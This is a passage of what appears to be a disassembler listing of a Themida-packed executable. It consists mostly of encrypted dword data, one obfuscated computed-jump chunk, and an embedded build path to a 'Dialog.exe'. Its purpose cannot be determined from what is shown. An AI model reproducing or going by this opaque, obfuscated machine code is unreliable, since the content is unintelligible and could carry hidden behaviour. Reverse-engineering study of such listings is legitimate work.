		dd 0C6245DCBh, 0EE536056h, 1881387Eh, 83E44DA5h, 402A2313h
		dd 16FF6FD3h, 9C1EAA09h, 3A15EA2Ch, 1686E7FCh, 0C0EFAA20h
		dd 0A81C5489h, 7F9C97h,	24700000h, 536056C6h, 1C9482F2h
		dd 6BC82A95h, 40F19909h, 6CC352C2h, 8B989E0Eh, 88A9B525h
		dd 0A5A0B727h, 0EA184886h, 0F94FBDADh, 5FBA8F3Eh, 0C597A8D3h
		dd 65h,	0E2624FE1h, 9F4B4472h, 76A01072h, 0AF8FFF7Dh, 3759B6A6h
		dd 0D9E5DA4Eh, 8615276Ah, 15F5C610h, 3BAB0A17h,	6FB211FBh
		dd 0E108615h, 0E672F63Dh, 2E1F1787h, 9B01501h, 3A6515D6h
		dd 0A2170308h, 406F1A8Dh, 0E2B32387h, 0DD624F56h, 2D8C7D6Dh
		dd 0D2FA79BDh, 101086F2h, 0A61336A9h, 2E97A81Ah, 1, 3DC9240Ah
		dd 734C4ABAh, 0DE55825Ch, 9128FDACh, 849D9773h,	0AEA7B727h
		dd 725A0ACBh, 9D9773FFh, 7C0EF96h, 575F36A6h, 756777A7h
		dd 0B951C13Ch, 9BF83A0Ah, 0CA793B16h, 1693FD87h, 16A15D66h
		dd 86162F44h, 9A0A6AA9h, 137081B5h, 0DE5DD2A3h,	0E163506Eh
		dd 189B9971h, 1693E9F3h, 22A51881h, 0CF6431A1h,	0A9BAFC6Ch
		dd 1DDCDA4Ah, 0FD7E4974h, 30BDE88Dh, 0B89DBD35h, 0FCh
		dd 0BF0BABD4h, 0DCE2CD3Dh, 9BF60969h, 0B3E3B416h, 28CD3DBEh
		dd 0AC1778FBh, 1693F665h, 1E183708h, 36A605h, 6A5D5049h
		dd 6CC59909h, 0A1EC9E0Eh, 0BD1EA914h, 362F9Dh, 0AB0B0000h
		dd 4500DE0Eh, 9086F23Ch, 4DA8EEBFh, 9086F204h, 410DC067h
		dd 0B78E5080h, 1086F2B2h, 7DED4C39h, 8A6B4439h,	9C0C73C0h
		dd 0B727899Ah, 8DD2F298h, 0E6000000h, 5EFF864Fh, 0F563ACBEh
		dd 0ABDB9B15h, 5B803093h, 0ECBD169Ch, 3A5E05D2h, 0F7F1EC5Dh
		dd 0AB081913h, 0C3F05A3Bh, 0EC1DCD3Dh, 35171F8Fh, 7C26F120h
		dd 7E35FBAh, 93AE729Ch,	7A066616h, 0BE8F87F7h, 318CA591h
		dd 7600D5C1h, 8DC637C9h, 614CD35Dh, 49742582h, 0E88DFD7Eh
		dd 0F0CEFEC2h, 0B4764055h, 63E0D110h, 96A717F3h, 94046BC8h
		dd 0C82B38F6h, 0CC2D8658h, 8580AE5Ch, 0D1A5A914h, 83B32385h
		dd 2A99A58Ah, 1A8EC3ABh, 101CF9CAh, 3DB0BABh, 0A1455540h
		dd 1F172816h, 0E353183Dh, 275CBEDAh, 0F52191ECh, 42C17218h
		dd 8FEC43D2h, 0B69C171Fh, 0A73555A2h, 0B93A8D40h, 0F477AC49h
		dd 1FA19284h, 0C28C67AFh, 15B01171h, 3865C1CCh,	85B19EAFh
		dd 8B7E288h, 29CC3CBFh,	41B10C25h, 0A1927855h, 84B222h
		dd 3, 244B2F1Ch, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h
		dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 2C48h
		dd 52243C89h, 0C281E289h, 4, 8704EA83h,	895C2414h, 0BD55242Ch
		dd 61A5353h, 2C8BEF89h,	4C48324h, 242C8B54h, 5104C483h
		dd 4D89F989h, 240C8B08h, 0FF04C483h, 835D2434h,	3C8B04C4h
		dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 26E4E95Ch
		dd 53D4FFFBh, 0BD1A0F5Eh, 6B3C38EDh
		db 0DFh, 51h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CED59


loc_5CF1AA:				; CODE XREF: sub_5CED59:loc_5CED7Dj
		mov	eax, 61A5701h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_5CED59
; ---------------------------------------------------------------------------
		db 78h
		dd 4B12B2D4h, 9F04B4EAh, 18325BA5h, 525DE1AEh, 0B4FE1D3h
		dd 8D7623E4h, 1A58438Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0F88F75F0h, 1FE13FBh
		dd 150225B5h, 218D8906h, 60061527h, 25B6D18Bh, 0CD85C761h
		dd 70061504h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0A0BC350h, 89455887h
		dd 15300195h, 1585C706h, 61511h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h
		dd 0B5FFD2F1h, 6150595h, 2C995FFh, 6AF80615h, 2195FF00h
		dd 8B06152Eh, 0BB6AEBC0h, 28AB30DDh, 20F8DE34h,	226D46C6h
		dd 97D33C40h, 0F9D8F285h, 2DD9C992h, 839FFCD2h,	356D2B29h
		dd 2CA65AF1h, 39B54323h, 7F84B43h, 642B7AE8h, 685121ADh
		dd 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h, 97D6F9D4h
		dd 0D61584AEh, 3943875Bh, 75F29051h, 556B6289h,	0D90D6A5Ch
		dd 26999BE9h, 5BC075B3h, 0A8F78D59h, 941C7112h,	48E9E2F3h
		dd 1FE947DBh, 0DCB60233h, 3B95986Ch, 3BAD0937h,	1FE95337h
		dd 0DCBE6533h, 6BB4FFFAh, 2C301DBAh, 9C1C4226h,	0AE1D78Eh
		dd 169C1135h, 1C4435B0h, 6BE94226h, 94BA722Ah, 1BEAA9F3h
		dd 9A608833h, 19FC57B6h, 0B577BFBEh, 0CC161724h, 0A26AD068h
		dd 19FC479Eh, 4FFE5633h, 1BEAA960h, 9A608833h, 19FC57B6h
		dd 0B864BFBEh, 0CC161724h, 0ED68D068h, 2E2989FFh, 0F7BF2259h
		dd 1FE91130h, 412AD613h, 1BCD30BAh, 1BCD66B2h, 1FE91125h
		dd 512ADE75h, 2F5E90DDh, 943BCD8Ah, 10299A0Ch, 92EA518Ch
		dd 19FC6D4Ah, 7531AE55h, 1C014633h, 3FE98833h, 96B6876Ch
		dd 9EED064Fh, 7ED3577h,	58E98833h, 0DC838764h, 10D3F5D0h
		dd 1FE917BAh, 4254BB33h, 94EF5112h, 0AE8DFBEh, 10EDB935h
		dd 1FED4BB7h, 19634B33h, 96E92233h, 0AFCF08Eh, 0EA540B35h
		dd 1FEF5127h, 1FC1A63Ch, 0BA001133h, 75E98837h,	1C011333h
		dd 3FE92233h, 96B6D26Ch, 9EEDAC4Fh, 0AED6077h, 58E92233h
		dd 90D3D264h, 1BC805BAh, 1F574226h, 75EB2214h, 1C014133h
		dd 3FE98833h, 96B1876Bh, 9EED0677h, 0AED3577h, 5FE98833h
		dd 4FBC8763h, 0CE5CA953h, 96EF0400h, 0AFAC5A6h,	9A642535h
		dd 19F1ACA3h, 12BC84BAh, 0CF168E26h, 0B2CD118h,	92622426h
		dd 19FC30BEh, 9BE648B6h, 1FE944DFh, 0C60BFBAh, 27681726h
		dd 0E468EE64h, 1FDDC13Ch, 82602233h, 19FC1BB2h,	1B910955h
		dd 9BE64631h, 1FE92652h, 0F7BE1159h, 1FE98830h,	402A1B13h
		dd 1BCD5EBAh, 1BCD55B2h, 1FE98827h, 262A1374h, 9F21953Ch
		dd 9E8F1EE1h, 1089140Bh, 1FE9DFB6h, 4AE94833h, 1FE912DBh
		dd 0DCB4A833h, 3B85CD6Eh, 3BADA337h, 1FE90937h,	0DCBCCD33h
		dd 0A98FC85h, 0CC562D82h, 0F7EB69B3h, 1F870D3Ch, 15014433h
		dd 62E92233h, 132C6F66h, 0E9A55F66h, 0BE746D8Ch, 45EF3719h
		dd 19919055h, 9AE62333h, 1FE9447Fh, 0F7BC2259h,	1FE91130h
		dd 422AD513h, 1BCD28BAh, 1BCD66B2h, 1FE91129h, 0BD2ADD76h
		dd 0D4F45A85h, 92C2EC20h, 19FC3F2Eh, 1FEA30DAh,	4EE92E33h
		dd 1FE921DBh, 0DCB03133h, 3BA5016Ah, 3BADC537h,	1FE93437h
		dd 0DCB85033h, 0EA1A4B49h, 1EE8448Dh, 3274AB75h, 10EF0410h
		dd 1FE99DB0h, 1FF9AD33h, 1E3F2233h, 81204083h, 1ECD1FEFh
		dd 2BBD9EC5h, 9A640F99h, 19F19FA3h, 0F7B88859h,	1FE94430h
		dd 462A7B13h, 1BCD5DBAh, 1BCDCCB2h, 1FE9442Ah, 0CD2A7372h
		dd 28323645h, 22540333h, 0E0EF511Dh, 0B67429E3h, 9AEF0436h
		dd 0FE6D87F3h, 0A6E94431h, 3E496228h, 13288CBAh, 27688E26h
		dd 1DEB7955h, 1FB8A73Ch, 1F831133h, 1FEA6062h, 46C94433h
		dd 53607BF0h, 5B681517h, 1FFF8C17h, 4EA84433h, 0B3C79EF0h
		dd 79EF69B2h, 1093D70Eh, 1FEBB0B7h, 4CE94833h, 1FE912DBh
		dd 0DCB2A833h, 3BB5CD68h, 3BADA337h, 1FE90937h,	0DCBACB33h
		dd 0BC04926Ch, 0E2640B73h, 79EF0430h, 7F75B0B2h, 1F69C13Ch
		dd 82E02233h, 19FC2286h, 1D9108C6h, 706C4BDBh, 0F6E92233h
		dd 1FE91127h, 5906C858h, 0BF4D4347h, 545C4737h,	0F412E1A9h
		dd 95419741h, 1991C555h, 9AE6E233h, 1FE91179h, 0F7BE8859h
		dd 1FE94430h, 402A7D13h, 1BCD6DBAh, 1BCDCCB2h, 1FE94424h
		dd 0EF2A7574h, 79B439D9h, 0F6A46789h, 1FE94656h, 0F7BC2259h
		dd 1FE91130h, 422AD513h, 1BCD28BAh, 1BCD66B2h, 1FE91129h
		dd 0CF2ADD76h, 0D3879091h, 1F57C45Ah, 75971032h, 1C01DE33h
		dd 3FE94433h, 96B7E16Dh, 9EED3547h, 2EDAC77h, 59E94433h
		dd 7B24E165h, 38E77B2Ch, 0B0D3ED50h, 60A4FB55h,	9179A7BEh
		dd 1F83172Bh, 1FEA6066h, 42C94433h, 73607FF0h, 5B681517h
		dd 1FFD8C17h, 4AAC4433h, 0AA60A1F0h, 19FC0C3Eh,	1F8358CCh
		dd 1FEAAC66h, 42C92233h, 73604CF0h, 5B688C17h, 1FF24017h
		dd 4AAC2233h, 0F1AEAEF0h, 0B12E39A0h, 0A644B47h, 0F6E92233h
		dd 1FE91123h, 0E37B7D7h, 0ECBEB4D5h, 75EF30FEh,	0AF5D70ACh
		dd 175C0DBAh, 0DF6C4226h, 1EA3A63Ch, 1F831133h,	1FEA6062h
		dd 46C94433h, 53607BF0h, 5B681517h, 1FFE8C17h, 4EA84433h
		dd 9FBD54F0h, 0F7D1916Ah, 1F740D3Ch, 1F834433h,	1FEACA62h
		dd 46C91133h, 5360D1F0h, 5B684017h, 1FF42617h, 4EA81133h
		dd 231042F0h, 0C61876E9h, 0F633A6B6h, 1FE91120h, 0F9AFC91Eh
		dd 0F4D739Ch, 0BAC4484Fh, 7513C99Eh, 16635A28h,	0AE3FD8Eh
		dd 1A91A235h, 4F6C1E40h, 75E98833h, 1C011133h, 3FE92233h
		dd 96B4D26Eh, 9EEDAC5Fh, 0AED6077h, 5AE92233h, 4957D266h
		dd 4CEEF0B3h, 1EEAC03Ch, 1F832233h, 1FEAF962h, 46C98833h
		dd 53601DF0h, 5B682617h, 1FF21517h, 4EA88833h, 3BE17F0h
		dd 451DC8F7h, 627C98F8h, 79EF9D30h, 1A667CB2h, 1F93A73Ch
		dd 82EA1133h, 19FCA972h, 0D920C555h, 1991A2D9h,	7A6C1E5Bh
		dd 75E98833h, 1C011633h, 3FE92233h, 96B3D269h, 9EEDAC67h
		dd 3ED6077h, 5DE92233h,	9181D261h, 0D31BD958h, 107CA1FEh
		dd 9E8FF28Ch, 3A161A4Bh, 1FDB0D3Ch, 0F8694433h,	1F96CB18h
		dd 1F831133h, 1FEA6062h, 46C94433h, 53607BF0h, 5B681517h
		dd 1FF58C17h, 4EA84433h, 0BE8D7DF0h, 3E2A6187h,	0A2624F3Ch
		dd 19FC58EAh, 1F83E218h, 1FEAF961h, 45C98833h, 4B601EF0h
		dd 5B682617h, 1FF21517h, 4DAB8833h, 0E9DE65F0h,	2595E273h
		dd 7F00E943h, 75E98833h, 1C011533h, 3FE92233h, 96B0D26Ah
		dd 9EEDAC7Fh, 3ED6077h,	5EE92233h, 3692D262h, 6A4DF2A0h
		dd 94523938h, 0AEBB7BEh, 1FE8A935h, 1F838833h, 1FEAAC66h
		dd 42C92233h, 73604CF0h, 5B688C17h, 1FF44017h, 4AAC2233h
		dd 34C2AEF0h, 66C50C64h, 9466D3BEh, 0AF9FFAEh, 266C3835h
		dd 8FEF9D3Ah, 1FEEC63Ch, 79892233h, 65AD6B8h, 9679D852h
		dd 0AC4E5BEh, 0AD54AF35h, 92EF0B6Bh, 5B692BEh, 4ACAFC35h
		dd 9AEA5555h, 19FC06FEh, 0F6284718h, 321F5731h,	33759710h
		dd 331C01DEh, 6D3FE944h, 4796B7E1h, 779EED35h, 5E983ACh
		dd 6058A4F3h, 0F585060h, 0E861F6B7h, 11h, 0EC6F7DD7h, 7D97FBECh
		dd 0E25FC4AFh, 0BDCBE780h, 3D8D8B94h, 5E06152Ah, 0FE961h
		dd 40860000h, 0FE2A5430h, 0F1664E82h, 23F479A5h, 0FC00B8Bh
		dd 5384h, 0BD858900h, 8D061516h, 154F9EB5h
		dd 0B5096006h, 61528F1h, 6E9h, 0A0A5EE00h, 610FBA3Fh, 3B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 7F5CF89Ah, 0EA28D1BFh, 0D9B980B0h, 0FF734114h
		dd 0DAB70FE6h, 0D58D0140h, 8B061505h, 15021595h, 83C08B06h
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 403B8C0h, 85890000h,	61502A1h, 0AB059D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 403B853h, 85890000h
		dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E956F4C3h
		dd 14h,	3764654Dh, 13836943h, 14BD4BA6h, 62340C6Eh, 6027C68h
		dd 80D78159h, 6A303225h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 7268C356h, 0F583F0Eh
		dd 388h, 0CBB70F00h, 0F98BC08Bh, 0DE861h, 523F0000h, 460024F8h
		dd 13BA3BF7h, 29E1B68Fh, 150371BDh, 830F5F06h, 0
		dd 6441C781h, 8D8B0000h, 61524C5h, 0BEh, 0CDF08100h, 0FF03432Ah
		dd 81603E34h, 9814C4CEh, 959D2909h, 61061518h, 7E85Bh
		dd 6FE80000h, 0C86DE461h, 10E9F4h, 0C9110000h, 136E255Eh
		dd 0F4C767E3h, 0A1ADE4A1h, 815A6623h, 0B8677EEBh, 0CEBF0F2Eh
		dd 996AC381h, 20B94A4Ch, 814D84D3h, 59D0E7EBh, 61858B24h
		dd 89061505h, 1B8371Ch,	8B2D4AFEh, 1516FD85h, 0D7EE8106h
		dd 0E871B39Ch, 0Ah
dword_5CFB64	dd 9A3E780Eh, 0E31BA175h, 8B66A3EFh, 0C68158D7h, 71B39CD3h
					; DATA XREF: Themida_:0057A66Co
		dd 81D08B66h, 0FF9CACFEh, 10850FFFh, 31000000h,	1511B58Dh
		dd 25E906h, 58060000h, 0F6AEAFAh, 680h,	51850100h, 0E9061516h
		dd 0FFFFFF4Fh, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 6C4AB054h
		dd 0EE572478h, 3012411h, 0DFC27A32h, 0C425509Bh, 64256093h
		dd 3001240Eh, 0D0C27254h, 22FA618Bh, 81AAD9E3h,	307A01Dh
		dd 1C302412h, 0C614327Bh, 30D9A874h, 30012AFAh,	32235B12h
		dd 5949D92Eh, 0B8E34189h, 8A94A581h, 940D1987h,	685F7B14h
		dd 33852B16h, 0BB012410h, 0A582D8CBh, 0A1430E7h, 3C852B12h
		dd 0EA012412h, 81012415h, 0E9475E37h, 89CEEDA2h, 30012620h
		dd 0F0542478h, 0C012411h, 5BC27932h, 725489Bh, 85256093h
		dd 0C0012409h, 93C27157h, 0DE8D521Bh, 932E4818h, 192435A7h
		dd 800EB414h, 301241Eh,	81882B72h, 0A6012412h, 1B388A8h
		dd 2B872B42h, 17012412h, 0C013191h, 60ECC12h, 0C4A22412h
		dd 0D75B25B2h, 0EEF6C7B1h, 0BA3B8AE7h, 5A917AD2h, 1BE97512h
		dd 2C012412h, 8F58E74Bh, 8205005Eh, 95050056h, 81012412h
		dd 0DEAAE743h, 6BE7F477h, 3C4D251Dh, 5E014EECh,	60127FAh
		dd 0C05B0412h, 0A555AD48h, 0E445A516h, 60013916h, 0F3536612h
		dd 8EFC8EB6h, 12F2B6D9h, 0FE830A2h, 0B7012412h,	43902417h
		dd 5A6BD7ACh, 33014E4Ah, 300127FAh, 0DB5A0412h,	285DAD49h
		dd 2245A516h, 3013C16h,	42526712h, 43686725h, 600BCD01h
		dd 1E562412h, 36EE5C07h, 1E9E21CFh, 0EF2DE491h,	3012406h
		dd 6FA648D0h, 5E32CB21h, 7DAF4A14h, 697AE049h, 883B38FFh
		dd 0C6B2C99h, 602CC44h,	5D212412h, 0F5887AD1h, 84802036h
		dd 60182036h, 66472412h, 68A712D1h, 6A540D77h, 8FFD6C99h
		dd 162B1987h, 0B8804214h, 440EDB24h, 600124C0h,	1B14A113h
		dd 0D9822207h, 0E538A41Bh, 6E5A11Dh, 36B2412h, 8102CC43h
		dd 99212412h, 2C887DD1h, 74802036h, 181B2036h, 5D402412h
		dd 748BFBD1h, 91B31BFAh, 0EB006599h, 0C3E97212h, 40012412h
		dd 0B95FE74Ch, 99050066h, 1A050056h, 40012412h,	0F7F8E744h
		dd 8B822BB1h, 0CF012412h, 60012090h, 0D4BB4212h, 93C9276Eh
		dd 190A9DAFh, 0F78A4214h, 6904E591h, 82E97112h,	0E0012412h
		dd 0E95CE74Fh, 0B105007Eh, 5050056h, 49012412h,	60BCE747h
		dd 0FACB6BF4h, 7033FE2Eh, 0D810B999h, 59802207h, 0BB426F82h
		dd 184DA11Dh, 0C6B2412h, 602CC43h, 5A212412h, 0CD887DD1h
		dd 84802036h, 601C2036h, 61402412h, 72AA1ED1h, 0F69A9010h
		dd 91BC2D9h, 8E8CFAADh,	87146B8Ch, 0C3B95AA4h, 89012412h
		dd 30012418h, 562971FDh, 29736DDEh, 0E7FEB518h,	21F49199h
		dd 0EB602207h, 0C3E97712h, 40012412h, 0B95AE749h, 9905004Eh
		dd 10050056h, 45012412h, 6E0FE741h, 0A6050E48h,	29FD20DBh
		dd 60012415h, 7C38B0AEh, 9509D002h, 1660ACAFh, 868CA914h
		dd 0BB073E76h, 8093A766h, 0EEB0A121h, 0AF2A2207h, 6C03CDD3h
		dd 0EE572478h, 3012411h, 0DFC27A32h, 0C425509Bh, 64256093h
		dd 8301240Eh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 7296B2C3h, 8F4FD11Ch
		dd 595760B2h, 0F6816657h, 61596BAFh, 319EDA81h,	3606264h
		dd 152775B5h, 870F06h, 61000000h, 8D8DC38Bh, 61A6581h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h
		dd 1ADC4B5h, 218D89DDh,	0C7061527h, 1504CD85h, 58D406h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0BD9460A5h, 7D78037h, 111585C7h,	615h, 8A0F0000h
		dd 6, 3C1B589h,	9D8B0615h, 61504A1h, 33A9B5FFh,	0BD8B0615h
		dd 6150CE1h, 0FFD68B66h, 1502C995h, 6820F06h, 9000000h
		dd 152EFD9Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 77C6834Fh
		dd 914166Ah, 15F632D1h,	10157690h, 2D5FE87h, 55478CA5h
		dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh
		dd 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 7E60EF8Ah,	0CE5F802Ah
		dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h,	70E9h
		dd 0C68B4400h, 5C3A4312h, 75636F44h, 746E656Dh,	6E612073h
		dd 65532064h, 6E697474h, 4D5C7367h, 69747261h, 6143206Dh
		dd 6E6F6272h, 65445C65h, 6F746B73h, 69445C70h, 676F6C61h
		dd 6578652Eh, 0Ch dup(0)
		dd 0E9BE900h, 0D3680000h, 0E9061A67h, 0FFFBE284h, 1A68E868h
		dd 0E27AE906h, 7468FFFBh, 0E9061A6Ah, 0FFFBE270h, 1A6AB368h
		dd 0E266E906h, 5868FFFBh, 0E9061A6Bh, 0FFFBE25Ch, 1A6C0368h
		dd 0E252E906h, 0E068FFFBh, 0E9061A6Fh, 0FFFBE248h, 1A725D68h
		dd 0E23EE906h, 3E68FFFBh, 0E9061A73h, 0FFFBE234h, 4D3F3E2Fh
		dd 0DDAFCEC2h, 4F413C32h, 0D3B5C8C4h, 493B4228h, 3022FCEAh
		dd 97907B4Dh, 381BE6E6h, 0CDB84345h, 4B48E0B0h,	24792E6Bh
		dd 87F76EA7h, 0C7DE9F86h, 47523DC8h, 0CA831A63h, 1B53FAA3h
		dd 2E247570h, 19A6264Fh, 0E3E3509Fh, 0B353E7A7h, 1FFBA2D7h
		dd 0A729D66Eh, 0EC68FC7Ah, 6BECEE9Bh, 345Bh, 4B3FCE00h
		dd 0C48EFC32h, 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h
		dd 8F6F7C6Fh, 0A729DBC2h, 0E5CFA7D2h, 0F7B8D14Dh, 0D0406BECh
		dd 0F3000000h, 69116C62h, 0FA9F8667h, 3AF36A13h, 647D170Dh
		dd 2851D6E4h, 39FEF481h, 3E48203Dh, 0A7877CADh,	0AD3E47EAh
		dd 7FB67FAAh, 19644BE6h, 730A0590h, 4C451711h, 988FAD3Eh
		dd 595546E5h, 0AD3E4C3Ch, 589B158h, 0F9846D18h,	0E271C970h
		dd 0BC0B92EBh, 3836B504h, 0B3535F9Ah, 279135C6h, 59C83C1Eh
		dd 7E27563Ch, 93C69FD7h, 0DD2C8431h, 90BB704Eh,	30D9AD40h
		dd 772012C3h, 0CE29C7C8h, 2070C98Fh, 3D187F75h,	375D727Dh
		dd 45BBA1D8h, 0B7FA0781h, 0C76A83Ah, 74590000h,	14FC8709h
		dd 0B29C6769h, 160EF9CBh, 0B89A6567h, 7664C3C5h, 0C5C7B69Ch
		dd 0A828553Ah, 587F6DDh, 9AEA937Ah, 6C290502h, 28A72477h
		dd 0A486C53Dh, 210CF7D9h, 24DE6C5Ch, 0D5CCB199h, 0BB75561Ch
		dd 7B7F7F6Ch, 0E7B353E2h, 0A67A554h, 0C36B6E02h, 0B9B6AF5Ah
		dd 560820Ah, 94DA61B7h,	29D3E7AAh, 63F201A7h, 0DC950C71h
		dd 108C1896h, 6BECEF77h, 0ED7Fh, 9F865100h, 2882C1F8h
		dd 4B0E3D40h, 0D1AD3AC8h, 0AD3E2D84h, 23106910h, 5A037A72h
		dd 49E47BB3h, 2D503663h, 9F815D04h, 29AD3E32h, 0C24D3F3Eh
		dd 0A4D9CECBh, 841D54FDh, 0AD3A8927h, 4F562720h, 6363D0A6h
		dd 0B3533DB7h, 4E2F22B3h, 0BA0A3F28h, 0D1807E6Dh, 0C3A72938h
		dd 55F3E096h, 264F2E22h, 0DFF92D09h, 7281AD40h,	0B92EBE3h
		dd 0DDB9D862h, 2EDBAD3Ch, 0FDEA1F08h, 0DD4110EEh, 2653AD3Ch
		dd 4032E350h, 800F6E59h, 0EFF4775Fh, 0B90B629Eh, 0BBA1DCCEh
		dd 0FA07E87Bh, 6152F4ADh, 6E00000Bh, 590007Dh, 7520700Dh
		dd 0F782027Bh, 731E6E0Fh, 2D8CFC81h, 0E6F65BFh,	9FDED3BEh
		dd 0E6F622Dh, 0A1DCD3BEh, 7C7A772Fh, 0A72476DDh, 8678C6BFh
		dd 0CF7D9A4h, 3ECF5C21h, 89FD3548h, 0A0F9F19Ch,	8A1D8A5h
		dd 17CC926Bh, 155CC439h, 9F866B5Dh, 432AC7DEh, 0D0B05B54h
		dd 0C26B2FEEh, 6CBB75C2h, 6C9B7F7Fh, 4EFBB353h,	6A2A6B57h
		dd 30BEA729h, 863F48C4h, 13B76BECh, 9000000h, 0CDA99724h
		dd 2B776606h, 3BF33A43h, 7C909h, 6CC4A700h, 211D0E1Dh
		dd 0AD3EDE74h, 0B041F920h, 53F2B0D6h, 243DECB3h, 0EDDF9E89h
		dd 320C2B22h, 0A729CA63h, 0C2310831h, 475E1F13h, 0E5C1E88Eh
		dd 0E6DEDDEh, 0BBD35FCDh, 366363D4h, 664BEDA8h,	7F0A7AB3h
		dd 926CF588h, 4BEDA7C0h, 829A0AACh, 0E792F28Bh,	0CBD89700h
		dd 0D08145D9h, 7BB2CBC5h, 0B152F8E2h, 0A4A04BEDh, 4945D0D9h
		dd 0E8862D34h, 6FD487Ch, 0B83B3375h, 73BB3ACEh,	565169F9h
		dd 0F3DAA527h, 0FCB4138Ah, 52403EADh, 0C214A5BCh, 0D1463597h
		dd 0E3C7FAB6h, 5A54D39Ah, 1A98C5FCh, 5102F118h,	0EBC9DE34h
		dd 7EBA6B4h, 0DBCBC076h, 0ECA15AADh, 0BF2C7B35h, 957AE7BFh
		dd 831A4F72h, 0F7F78C24h, 66933A5Ah, 0C9660F3Ah, 0ABAD68EDh
		dd 56D5846Ch, 0B0B9C4A7h, 15C03109h, 0D7C4631Ah, 8B08BAD7h
		dd 72FDA6Ch, 8611FC87h,	5941296Eh, 17FD34DBh, 0BAB625D5h
		dd 0D538CA47h, 0FA000009h, 99646419h, 11FCCCB1h, 9B666617h
		dd 0FFACAB3h, 0D170601Dh, 324B41DBh, 0BBC2A752h, 324B3EC9h
		dd 0BDC0A752h, 585653CBh, 0A7247539h, 8694EA5Bh, 247ADE9Fh
		dd 58FA05A7h, 9960DA1h,	54390000h, 0F4DCA729h, 927C0789h
		dd 0F6EE99EBh, 987A0587h, 5644E3E5h, 25A7D6BCh,	8808755Ah
		dd 656716FDh, 0FACAB39Ah, 0C492522h, 88A72475h,	9F86A51Dh
		dd 482AC7DEh, 37A45335h, 221160D8h, 37FF7E73h, 0E85EBCBAh
		dd 8BBEB353h, 2F0C0A34h, 0A75468E7h, 0B54A5D45h, 0F3D360E4h
		dd 0E59655A6h, 9EEB43F6h, 0E4B18D22h, 0B0E59655h, 4343B089h
		dd 0EBAB776Bh, 0EBAA8497h, 0A9EB8136h, 0BC6DBA80h, 9BEA46A5h
		dd 0A99BB28Ch, 1039F199h, 8B851023h, 6CC26BF2h,	3597E6E1h
		dd 361A634Ah, 3DA07D9Ah, 0F1F39712h, 0DE000008h, 554090EDh
		dd 0E5B0205Dh, 473292EBh, 0E3AE1E5Fh, 7D3C8CF1h, 7EFFF50Fh
		dd 0EF8E830Eh, 7EFFF29Dh, 0F18C830Eh, 2C0A079Fh, 0A724736Dh
		dd 86C8362Fh, 6251DE9Fh, 43BFBEB3h, 0AD3EDF16h,	0D0B6D386h
		dd 4FDA85ADh, 95AF215Ch, 0AD3EDF28h, 0AEA23340h, 0DF2673CFh
		dd 4442AD3Eh, 0AD3EDF15h, 0E089D287h, 307F399Ah, 1A1D12C3h
		dd 3EDE7D1Ch, 43EA1FADh, 2B00FEEBh, 89B35944h, 0CBC253E0h
		dd 4027D2B2h, 0C1BDAE3Dh, 0A7247994h, 86215900h, 502E09EBh
		dd 0A7247A01h, 6DB6C7C1h, 61EC75BCh, 8D3D136Ah,	0FFFC1FC2h
		dd 846E082h, 0A4890000h, 240CF7D9h, 0A28C7759h,	261EE9DBh
		dd 0A88A7557h, 4634F3D5h, 0D5B7C6ACh, 5838452Ah, 0D5B7C6ADh
		dd 4A3A432Ah, 0BCD9D5D2h, 0D8A72472h, 9F86156Dh, 3C6518FAh
		dd 28C5DC95h, 20E55A3Dh, 2F8CC64Ah, 0FA7C5F06h,	225B526Ah
		dd 0C23673A2h, 0D8657201h, 0BAC3ADECh, 0EB43EAA3h, 4DD5Bh
		dd 6CC46D00h, 3B300E1Dh, 25B35944h, 0B11EFE96h,	0EB433748h
		dd 5DE80732h, 0CB90B72h, 503F66B5h, 0B9B0CDC5h,	0D8CC3A00h
		dd 0A82090E2h, 8D1A960Eh, 69F28BF2h, 54h, 0B299245Bh, 6C1BD2CBh
		dd 79B0581Bh, 4D3EF41Eh, 0B7C6C1F4h, 0E9E4717Eh, 714DDE94h
		dd 0AD3E9024h, 0C6A0C970h, 0CDA5F1D7h, 0AD899A99h, 8CD7B1F0h
		dd 184F93D8h, 0BFA875EDh, 5ACAE48Ah, 9A8FC9DEh,	0E2D51h
		dd 7F9F0000h, 1F0h, 720B0392h, 9EEC42EBh, 0CAB39924h, 3B8A27A4h
		dd 4B643822h, 0F9EE26ABh, 5550DD84h, 0B5DF8128h, 472093Dh
		dd 8EB3F470h, 2243F895h, 75000000h, 871E6DC4h, 0AB4B2A9Bh
		dd 24901E26h, 958ADFA8h, 0AC17F8h, 190A0000h, 0D27A801Dh
		dd 45ED1C33h, 0DD972443h, 0E0CDD2A9h, 0C6AE4F62h, 63352889h
